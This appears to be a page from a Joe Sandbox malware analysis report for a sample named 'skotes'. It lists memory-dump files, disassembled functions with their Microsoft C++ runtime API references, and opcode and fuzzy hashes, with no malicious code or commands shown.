Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: d2a7683741fe10c3e86e9463d52b6ad8bbd3b67b37ab38987202442759c03eef
Instruction ID: 9819b139432068401889bcdf5aac6ea2c3708469b8fd159ff22c44a777cae8d0
Opcode Fuzzy Hash: d2a7683741fe10c3e86e9463d52b6ad8bbd3b67b37ab38987202442759c03eef
Instruction Fuzzy Hash: 7C81AB35904A49BBDF179F94C991BBF7BB6AF05304F040098EC417B292C7328D29DBA1

Function 00392970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00392982

Part of subcall function 003924E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00392504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 003929A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 003929B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 003929FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00392AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00392AD8

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 8d9ec0d0715d2be91284dd66207fa0726b78b9c339ff7d6ba8546276132a6fa3
Instruction ID: 9f844c7884208ce61338a8358630e0d86eb729e43eb86c21a75997a8c110a486
Opcode Fuzzy Hash: 8d9ec0d0715d2be91284dd66207fa0726b78b9c339ff7d6ba8546276132a6fa3
Instruction Fuzzy Hash: 8B719A71900A49BFDF16DF68C981BBFBBB6AF45304F044098EC416B292CB329D16DB61

Function 00382832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00382876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 003828DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00382913

Part of subcall function 003807ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0038080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00382993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 003829DB

Part of subcall function 003807C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 003807DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 003829EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00382A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00382A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00382A7E

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 13ca0cf2881f832712dd3ba567a1b0f24013f14c5cfeec83da67ab57b47313eb
Instruction ID: 2b9890fdf925cac92451010f7cce438de38c2ee8d008aba30c5646351a3bb76a
Opcode Fuzzy Hash: 13ca0cf2881f832712dd3ba567a1b0f24013f14c5cfeec83da67ab57b47313eb
Instruction Fuzzy Hash: 3181C371A007169FCB1AEFA8D8909AEBBF5BF58310F2540ADD446E7250DB347D85CB90

Function 003869DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00386A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00386A51
List.LIBCONCRT ref: 00386A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00386A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00386AB9
List.LIBCONCRT ref: 00386AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00386B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00386B20
List.LIBCONCRT ref: 00386B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00386B68

Part of subcall function 00385EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00385EF7
Part of subcall function 00385EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00385F09

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: c6eb23847fb3a3b611cd2b98b516e077c0f0fff965d38fd2ffad1344ad0da3af
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: EC515171A00309AFDF09EF64C596BEDB3B8BF08344F1540A9E915AB281DB34AE44CB90

Function 003952A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 003953A0
type_info::operator==.LIBVCRUNTIME ref: 003953C7
___TypeMatch.LIBVCRUNTIME ref: 003954D3
IsInExceptionSpec.LIBVCRUNTIME ref: 003955AE
CallUnexpected.LIBVCRUNTIME ref: 00395650

Strings

csm, xrefs: 003953FE
csm, xrefs: 003952E0
csm, xrefs: 0039534D

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
